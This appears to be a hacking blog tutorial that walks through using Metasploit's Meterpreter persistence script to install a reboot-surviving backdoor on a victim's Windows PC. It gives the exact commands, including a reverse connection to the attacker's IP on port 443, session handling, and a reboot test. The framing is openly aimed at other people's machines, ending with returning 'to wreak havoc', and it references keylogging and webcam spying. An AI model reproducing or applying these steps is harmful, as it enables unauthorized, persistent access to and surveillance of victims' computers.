How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone’s PC
Most of my recent posts have addressed using Metasploit’s Meterpreter and what we can do once we have embedded it on the victim’s system. This includes remotely installing a keylogger, enabling the webcam, enabling the microphone and recording, and disabling the antivirus software, among many other things. The list is almost unlimited.
Unfortunately, the Meterpreter ceases to work if the victim system is rebooted. As a result, many of you have written me asking whether we can maintain or persist the Meterpreter on the victim system.
The answer is an unequivocal “Yes!”
We can embed the Meterpreter and then come back later—even after the victim’s computer has been rebooted—and reconnect to our little backdoor or listener. I’m dedicating this post to showing you how to do this.
Getting Started
Let’s assume that you have been successful in embedding the Meterpreter on the victim’s system, and that you have a screen that looks like the screenshot below. If you’re not sure how to do this, check out some of my previous posts for help.
Now, let’s get started.
Step 1: Run the Persistence Script
Metasploit has a script named persistence that can enable us to set up a persistent Meterpreter (listener) on the victim’s system. First, let’s take a look at the options that are available when we run this script by using the –h switch. At the Meterpreter prompt, type the following:
meterpreter > run persistence -h
We can see in the screenshot above that…
–A switch starts a matching handler to connect to the agent.
With the -L switch we tell the system where to place the Meterpreter on the target system.
The –P switch tells the system what payload to use (Windows/Meterpreter/reverse_tcp is the default, so we won’t use this switch).
-S starts the agent on boot with system privileges.
The -U switch starts the agent when the user (U) logs on.
The -x switch starts the agent when the system boots.
With the –i switch we can indicate the time interval between each connection attempt.
The -p switch indicates the port, and finally…
The –r switch indicates the IP address of our ( r ) system running Metasploit.
Here we will use the –A, -L, -x, -i, -p, and –r switches.
Type at the Meterpreter prompt:
meterpreter >run persistence –A –L c:\\ -X 30 –p 443 –r 192.168.1.113
This command then will run the persistence script that will start a matching handler (-A), place the Meterpreter at c:\\ on the target system (-L c:\\), start the listener when the system boots (-x), checks every 30 seconds for a connection (-i 30), connects on port 443 (-p 443), and connects to the local system (ours) on IP address 192.168.1.113.
Step 2: Opening a Second Session
We can see that we have opened a Meterpreter session on the victim system.
We return to our Metasploit prompt, by typing:
meterpreter > background
This will return us to the msf prompt, where can now type:
msf exploit(ms08_067_netapi) > sessions –i
We see above that now we have two or more sessions running on the victim system (I actually have three sessions running on this victim) as the persistent Meterpreter has opened a second session on the system.
Step 3: Testing
This is all very nice, but the key here is whether the Meterpreter will reconnect to our system even after the target system reboots. We can test this by typing;
meterpreter > reboot
This will reboot the target/victim machine and if we are successful, the Meterpreter will reconnect to our system.
Even after the system reboots, the Meterpreter on the victim system attempts to connect to us every 30 seconds until it has successfully open a session for us.
Now we have successfully opened a persistent connection on the victim system that we can come back to time and time again to wreak havoc!
